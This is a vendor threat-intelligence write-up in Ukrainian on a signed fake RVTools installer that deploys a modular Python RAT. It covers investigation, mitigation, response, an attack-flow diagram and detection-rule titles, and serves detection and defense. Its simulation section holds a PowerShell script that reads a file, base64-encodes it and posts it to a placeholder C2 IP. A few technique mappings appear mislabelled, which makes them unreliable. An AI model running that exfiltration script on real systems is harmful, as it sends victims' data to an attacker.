SOC Prime Bias: Середній

29 May 2026 07:20 UTC

RVTools Маскарад: Як підписаний фальшивий установник розгортає модульний Python RAT

Author Photo
SOC Prime Team linkedin icon Стежити
RVTools Маскарад: Як підписаний фальшивий установник розгортає модульний Python RAT
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Зловмисний MSI інсталятор, підписаний дійсним сертифікатом, видає себе за утиліту RVTools, яка використовується адміністраторами VMware. Після запуску інсталятор залишає VBScript, який запускає PowerShell для завантаження великого архіву ZIP з Dropbox. Цей архів містить портативне середовище Python, яке запускає багаторівневий RAT, здатний проводити розвідку, забезпечувати стійкість і комунікацію з жорстко закодованими серверами команд і контролю.

Розслідування

Аналіз відcлідкував MSI до спеціальної дії VBScript, Binary.MyScript.vbs, яка декодувала заплутану команду PowerShell. Та команда завантажувала winp.zip навантеження в %APPDATA%, витягала компоненти та скрипти Python, такі як collector.py and Pmanager.py, а потім забезпечувала стійкість через ключі реєстру Run і заплановане завдання після перезавантаження. Дослідники також виявили, що RAT шифрував зібрані дані за допомогою RC4 і передавав сигнал на п’ять фіксованих IP-адрес через п’ятихвилинні інтервали.

Мітигація

Організації повинні забезпечити сувору перевірку підпису коду з активними перевірками OCSP або CRL, блокувати виконання недовірених MSI та контролювати підозрілі дії VBScript, вбудовані в інсталяторні пакети. Захисники також повинні запобігати автоматичному виконанню завантажених скриптів, слідкувати за новими записами в Run-кей і створенням запланованих завдань та реагувати на вихідний трафік до незнайомих жорстко закодованих IP адрес.

Відповідь

Якщо виявлено цю активність, негайно ізолюйте постраждалий кінцевий пристрій, зберіть MSI, файли VBScript та вилучене навантаження для криміналістичного аналізу, та видаліть всі артефакти стійкості, включаючи ключ Run і заплановане завдання. Виявлені IP адреси команд і контролю повинні бути заблоковані на брандмауері, а також потрібно провести ширший аудит облікових даних та активності в Active Directory, щоб визначити, чи була здійснена бічна перехідна атака.

graph TB %% Class definitions classDef phase fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef artifact fill:#e0e0e0 classDef persistence fill:#c2f0c2 classDef c2 fill:#f9c2c2 classDef evasion fill:#f0e68c %% Phases phase_initial_access[“<b>Фаза</b>: Початковий доступ<br/><b>Дія</b> – Жертва виконує підписаний шкідливий MSI, що маскується під RVTools.”] class phase_initial_access phase phase_execution[“<b>Фаза</b>: Виконання<br/><b>Дія</b> – MSI використовує Msiexec для запуску VBScript, який запускає прихований PowerShell downloader.”] class phase_execution phase phase_payload[“<b>Фаза</b>: Розгортання payload<br/><b>Дія</b> – Архів розпаковується у портативне WinPython середовище, що містить collector.py і manager.py.”] class phase_payload phase phase_persistence[“<b>Фаза</b>: Закріплення<br/><b>Дія</b> – Python manager створює Registry Run key, Scheduled Task та Active Setup entry.”] class phase_persistence phase phase_c2[“<b>Фаза</b>: Command and Control<br/><b>Дія</b> – Зібрані дані архівуються, шифруються RC4 та ексфільтруються через HTTP POST на hardcoded IP.”] class phase_c2 phase phase_evasion[“<b>Фаза</b>: Уникнення захисту<br/><b>Дія</b> – Використання підписаних бінарників, proxy execution та символьної обфускації для обходу детекції.”] class phase_evasion phase %% Techniques for Initial Access tech_user_execution[“<b>Техніка</b> T1204.002 User Execution: Malicious File<br/>Жертва запускає файл, який вважає легітимним.”] class tech_user_execution technique tech_masquerading[“<b>Техніка</b> T1036.001 Masquerading<br/>Бінарник підписаний і названий як легітимний (RVTools).”] class tech_masquerading technique tech_trusted_dev_proxy[“<b>Техніка</b> T1127 Trusted Developer Utilities Proxy Execution<br/>Підписаний бінарник використовується для обходу перевірок довіри.”] class tech_trusted_dev_proxy technique %% Techniques for Execution tech_msiexec_proxy[“<b>Техніка</b> T1218.007 System Binary Proxy Execution: Msiexec<br/>Msiexec запускає шкідливий MSI.”] class tech_msiexec_proxy technique tech_vbscript[“<b>Техніка</b> T1059.005 Command and Scripting Interpreter: Visual Basic<br/>Custom action запускає VBScript payload.”] class tech_vbscript technique tech_powershell[“<b>Техніка</b> T1059.001 Command and Scripting Interpreter: PowerShell<br/>VBScript декодує і запускає приховану PowerShell команду завантаження.”] class tech_powershell technique %% Techniques for Payload Deployment tech_archive_custom[“<b>Техніка</b> T1560.003 Archive Collected Data: Archive via Custom Method<br/>33MB zip (winp.zip) завантажується та розпаковується у portable Python середовище.”] class tech_archive_custom technique %% Techniques for Persistence tech_registry_run[“<b>Техніка</b> T1037.004 Boot or Logon Initialization Scripts: Registry Run<br/>Створюється Run key для запуску manager.py при старті.”] class tech_registry_run persistence tech_scheduled_task[“<b>Техніка</b> T1053 Scheduled Task/Job<br/>Щоденна задача запускається з SYSTEM правами.”] class tech_scheduled_task persistence tech_active_setup[“<b>Техніка</b> T1547.014 Boot or Logon Autostart Execution: Active Setup<br/>Active Setup entry забезпечує запуск для кожного користувача.”] class tech_active_setup persistence tech_hijack_execution[“<b>Техніка</b> T1574 Hijack Execution Flow<br/>Scheduled Task використовується для перехоплення нормального потоку виконання.”] class tech_hijack_execution evasion %% Techniques for Command and Control tech_exfil_unencrypted[“<b>Техніка</b> T1048.003 Exfiltration Over Unencrypted Non-C2 Protocol<br/>Дані передаються через HTTP POST на hardcoded IP.”] class tech_exfil_unencrypted c2 tech_exfil_asymmetric[“<b>Техніка</b> T1048.002 Exfiltration Over Asymmetric Encrypted Non-C2 Protocol<br/>Дані шифруються RC4 перед передачею.”] class tech_exfil_asymmetric c2 %% Techniques for Defense Evasion tech_system_script_proxy[“<b>Техніка</b> T1216.002 System Script Proxy Execution: SyncAppvPublishingServer<br/>Довірені скрипти використовуються як проксі для приховування активності.”] class tech_system_script_proxy evasion tech_system_binary_proxy[“<b>Техніка</b> T1218 System Binary Proxy Execution<br/>Підписані утиліти (Msiexec) використовуються для обходу App Control.”] class tech_system_binary_proxy evasion %% Artifacts artifact_msi[“<b>Артефакт</b>: malicious_RVTools.msi<br/>Підписаний MSI для початкового доступу.”] class artifact_msi artifact artifact_zip[“<b>Артефакт</b>: winp.zip<br/>Архів з Dropbox з portable WinPython.”] class artifact_zip artifact artifact_python_env[“<b>Артефакт</b>: WinPython environment<br/>Містить collector.py і manager.py.”] class artifact_python_env artifact artifact_registry_key[“<b>Артефакт</b>: Registry Run Key<br/>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\WinPythonMgr”] class artifact_registry_key artifact artifact_scheduled_task[“<b>Артефакт</b>: Scheduled Task<br/>Name: WinPythonDaily, SYSTEM execution.”] class artifact_scheduled_task artifact artifact_active_setup[“<b>Артефакт</b>: Active Setup Entry<br/>HKLM\\Software\\Microsoft\\Active Setup\\Installed Components\\WinPython”] class artifact_active_setup artifact artifact_c2_ip[“<b>Артефакт</b>: C2 IP addresses<br/>Hardcoded IPv4 addresses used over HTTP.”] class artifact_c2_ip artifact %% Connections phase_initial_access –>|uses| tech_user_execution phase_initial_access –>|uses| tech_masquerading phase_initial_access –>|uses| tech_trusted_dev_proxy phase_initial_access –>|delivers| artifact_msi tech_user_execution –>|executes| artifact_msi tech_masquerading –>|enables| artifact_msi tech_trusted_dev_proxy –>|bypasses| artifact_msi phase_execution –>|leverages| tech_msiexec_proxy tech_msiexec_proxy –>|runs| tech_vbscript tech_vbscript –>|launches| tech_powershell tech_powershell –>|downloads| artifact_zip artifact_zip –>|unpacked to create| artifact_python_env phase_payload –>|contains| artifact_python_env phase_persistence –>|creates| tech_registry_run phase_persistence –>|creates| tech_scheduled_task phase_persistence –>|creates| tech_active_setup phase_persistence –>|uses| tech_hijack_execution tech_registry_run –>|writes| artifact_registry_key tech_scheduled_task –>|creates| artifact_scheduled_task tech_active_setup –>|writes| artifact_active_setup phase_c2 –>|archives and encrypts data| tech_archive_custom tech_archive_custom –>|sends via| tech_exfil_unencrypted tech_exfil_unencrypted –>|uses| artifact_c2_ip tech_exfil_unencrypted –>|also uses| tech_exfil_asymmetric phase_evasion –>|applies| tech_system_script_proxy phase_evasion –>|applies| tech_system_binary_proxy tech_system_binary_proxy –>|facilitates| tech_msiexec_proxy tech_system_script_proxy –>|facilitates| tech_vbscript

Потік атаки

Виявлення

LOLBAS WScript / CScript (через process_creation)

Команда SOC Prime
28 травня 2026

Виконання Python з підозрілих каталогів (через cmdline)

Команда SOC Prime
28 травня 2026

Можливість виконання через приховані командні рядки PowerShell (через cmdline)

Команда SOC Prime
28 травня 2026

Архів був розпакований в підозрілий каталог, використовуючи Powershell (через powershell)

Команда SOC Prime
28 травня 2026

Можливі запити DNS субдоменів API Dropbox, ініційовані не легітимними процесами (через dns_query)

Команда SOC Prime
28 травня 2026

Індикатори компрометації (HashSha256) для виявлення: Маскування RVTools: Як підписаний фальшивий інсталятор розгортає модульний Python RAT

Правила SOC Prime AI
28 травня 2026

Індикатори компрометації (HashMd5) для виявлення: Маскування RVTools: Як підписаний фальшивий інсталятор розгортає модульний Python RAT

Правила SOC Prime AI
28 травня 2026

Виявлення витоку даних через жорстко закодовані IP та HTTP POST [З’єднання мережі Windows]

Правила SOC Prime AI
28 травня 2026

Виявлення прихованого виконання зловмисного PowerShell та Invoke-WebRequest [Windows PowerShell]

Правила SOC Prime AI
28 травня 2026

Підозрілий фальшивий інсталятор RVTools, що розгортає Python RAT [Створення процесу Windows]

Правила SOC Prime AI
28 травня 2026

Симуляція виконання

Передумова: Перевірка телеметрії та базових умов перед запуском має пройти.

Мотив: У цьому розділі описується точне виконання методики противника (TTP), розробленої для запуску правила виявлення. Команди та наратив повинні безпосередньо відображати ідентифіковані TTP і прагнути генерувати точну телеметрію, очікувану логікою виявлення.

  • Атака:
    Супротивник, який вже знаходиться в положенні на машині жертви, вирішує ексфільтрувати невеликий обсяг даних (наприклад, C:Tempsecret.txt). Щоб не викликати загальних сповіщень вихідного трафіку, актор використовує однорядкову команду PowerShell , яка виконує HTTP POST безпосередньо до одного з жорстко закодованих IP C2 (192.0.2.10). Команду заплановано через Windows заплановане завдання , щоб забезпечити стійкість (T1546.013). Жодні додаткові бінарні файли не скидаються, зберігаючи активність «живучи з сторонніх».

  • Сценарій регресійного тестування:

    # -------------------------------------------------
    # PowerShell скрипт – Витік даних через жорсткозакодований IP
    # -------------------------------------------------
    $c2Ip   = "192.0.2.10"
    $c2Port = 80
    $uri    = "http://$c2Ip/exfil"
    $file   = "C:Tempsecret.txt"
    
    # Переконайтесь, що файл існує (створіть тестові дані для тесту)
    if (-Not (Test-Path $file)) {
        "sensitive data $(Get-Date)" | Out-File -FilePath $file -Encoding ASCII
    }
    
    # Читання вмісту файлу та його кодування в Base64
    $payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes($file))
    
    # Виконання HTTP POST
    $body = @{ data = $payload }
    try {
        Invoke-WebRequest -Uri $uri -Method POST -Body $body -UseBasicParsing -TimeoutSec 10
        Write-Host "Спроба ексфільтрації відправлена на $c2Ip"
    } catch {
        Write-Error "Ексфільтрація не вдалася: $_"
    }
  • Команди очищення:

    # Видаліть тестовий файл
    Remove-Item -Path "C:Tempsecret.txt" -Force -ErrorAction SilentlyContinue
    
    # Видаліть будь-яке заплановане завдання, створене для тестування (якщо існує)
    $taskName = "DataExfilTask"
    if (Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue) {
        Unregister-ScheduledTask -TaskName $taskName -Confirm:$false
    }